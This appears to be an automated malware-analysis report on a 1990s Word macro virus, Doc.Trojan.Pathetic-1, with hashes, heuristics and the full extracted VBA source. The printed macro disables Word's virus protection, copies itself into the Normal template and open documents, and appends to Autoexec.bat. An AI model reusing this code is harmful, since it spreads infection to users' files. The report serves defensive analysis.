Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2f32c58ef8c8aac6…

MALICIOUS

Office (OLE)

39.5 KB Created: 1999-01-01 08:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5f0cdf410c7086ada5fab48f790b021d SHA-1: 250dcf81149b4e1932ada4c4907f2f2564d14f3d SHA-256: 2f32c58ef8c8aac62fb449ef1fe8295c7d41663c6dec89b31c5dd07ec5bbe955
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, a common technique for malicious documents. The macro attempts to export its own code to 'C:\vb.txt' and then import it into other documents, potentially spreading itself. It also appends a command to 'C:\Autoexec.bat', indicating an intent to execute further malicious actions. The ClamAV detection further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Pathetic-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Pathetic-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1448 bytes
SHA-256: 6d858006074ff76e5dae1e0e5e0e99c5e6ad1dfe8e0c7363b25e831144689a90
Detection
ClamAV: Doc.Trojan.Pathetic-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module11111111111"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub autoopen()
On Error Resume Next
Dim d  As Document
Dim t As Template

Dim i As Integer
Set d = ActiveDocument
Set t = NormalTemplate

Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False


If d.VBProject.VBComponents.Count <> 1 Then
 d.VBProject.VBComponents.Item(2).Export "C:\vb.txt"
End If


If t.VBProject.VBComponents.Item(1).CodeModule.CountOfLines < 1 Then
    t.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Vb.txt"
End If
If d.VBProject.VBComponents.Item(1).CodeModule.CountOfLines < 1 Then
    d.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Vb.txt"
End If

For i = 1 To Word.Windows.Count
   If Word.Windows.Item(i).Document.VBProject.VBComponents.Count = 1 Then
        Word.Windows.Item(i).Document.VBProject.VBComponents.Import "c:\vb.txt"
        Word.Windows.Item(i).Document.Save
   End If
Next i

Open "C:\Autoexec.bat" For Append As #1
Print #1, "@echo The beak of the salmon " & Application.UserName
'Print #1, "@copy c:\windows\*.ini super.ini /Y"
Close #1

If Month(Now) = 5 Then
    d.Close         'Pathetic I Know !
End If
End Sub